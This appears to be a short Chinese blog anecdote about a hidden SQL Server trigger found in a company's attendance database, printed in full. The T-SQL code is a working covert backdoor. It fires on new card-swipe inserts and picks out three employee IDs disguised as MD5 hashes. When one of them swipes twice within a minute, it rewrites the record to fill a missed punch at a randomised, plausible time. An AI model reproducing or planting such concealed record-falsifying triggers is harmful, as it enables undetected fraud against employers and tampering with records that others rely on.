曾经有一家公司考勤制度很苛刻,迟到1秒、缺卡都扣钱,加班就免费做贡献。
然后就发现他们考勤数据库里潜伏了一个程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
/* 激活条件为:在标准刷卡时间内,指定工号连续两次刷卡 程序动作:判断上一时点是否有缺卡,如有即将第二次刷卡更改为缺卡时间。 */ CREATE TRIGGER 原始刷卡记录_CREATER ON 原始刷卡记录 AFTER INSERT AS BEGIN declare @datetime1 as datetime, @datetime2 as datetime, @datetime3 as datetime, @Hour as int, @Inner as int, @Second as int select @datetime1=RQ,@Inner=EmpInnerID from inserted --取卡号、刷卡时间 --判断工号,hash+md5匿名 if sys.fn_VarBinToHexStr(HashBytes('MD5',CONVERT(varchar,@Inner))) in('0xdd17ecc2cd2a08fdb8bf7f68e2ad3814','0x3e60e09c22cc206c725385f53d7e567c','0xacab0116c354cc4a558e65bdd07ff047') begin select * into #Tempnew from 原始刷卡记录 where EmpInnerID=@Inner and RQ>=DATEADD(d,-1,@datetime1) --取一天内刷卡记录到临时表 select TOP 1 @datetime2=RQ from #Tempnew where EmpInnerID=@Inner and RQ>=DATEADD(n,-1,@datetime1) AND RQ<@datetime1 --判断是否为1分钟内连续刷卡 end if @datetime2 IS NOT NULL --符合激活条件,开始补缺卡 begin set @hour=datepart(hh,@datetime2) --根据打卡时间判断上一时点是否有缺卡 if @hour<=8 and not exists(select * from #Tempnew where RQ>=DATEADD(n,1050,DATEADD(d,-1,datediff(d,0,@datetime2))) AND RQ<=DATEADD(n,1080,DATEADD(d,-1,datediff(d,0,@datetime2))) ) begin set @Second=17*60*60+30*60+cast( floor(rand()*15*60) as int)--在标准打卡时间内随机浮动 set @datetime3=DATEADD(s,@Second ,DATEADD(d,-1,datediff(d,0,@datetime2)) ) end else if @hour=12 and not exists(select * from #Tempnew where RQ>=DATEADD(n,450,DATEADD(d,0,datediff(d,0,@datetime2))) AND RQ<=DATEADD(n,480,DATEADD(d,0,datediff(d,0,@datetime2))) ) begin set @Second=7*60*60+50*60+cast( floor(rand()*5*60) as int) set @datetime3=DATEADD(s,@Second ,DATEADD(d,0,datediff(d,0,@datetime2)) ) end else if @hour=13 and not exists(select * from #Tempnew where RQ>=DATEADD(n,720,DATEADD(d,0,datediff(d,0,@datetime2))) AND RQ<=DATEADD(n,750,DATEADD(d,0,datediff(d,0,@datetime2))) ) begin set @Second=12*60*60+cast( floor(rand()*5*60) as int) set @datetime3=DATEADD(s,@Second ,DATEADD(d,0,datediff(d,0,@datetime2)) ) end else if @hour>=17 and not exists(select * from #Tempnew where RQ>=DATEADD(n,780,DATEADD(d,0,datediff(d,0,@datetime2))) AND RQ<=DATEADD(n,810,DATEADD(d,0,datediff(d,0,@datetime2))) ) begin set @Second=13*60*60+cast( floor(rand()*30*60) as int) set @datetime3=DATEADD(s,@Second ,DATEADD(d,0,datediff(d,0,@datetime2)) ) end if @datetime3 is not null update 原始刷卡记录 set RQ=@datetime3 WHERE RQ=@datetime2 AND EmpInnerID=@Inner end END |
© 2017, ITJOY.NET. 版权所有. 如未注明,均为原创,转载请注明出处。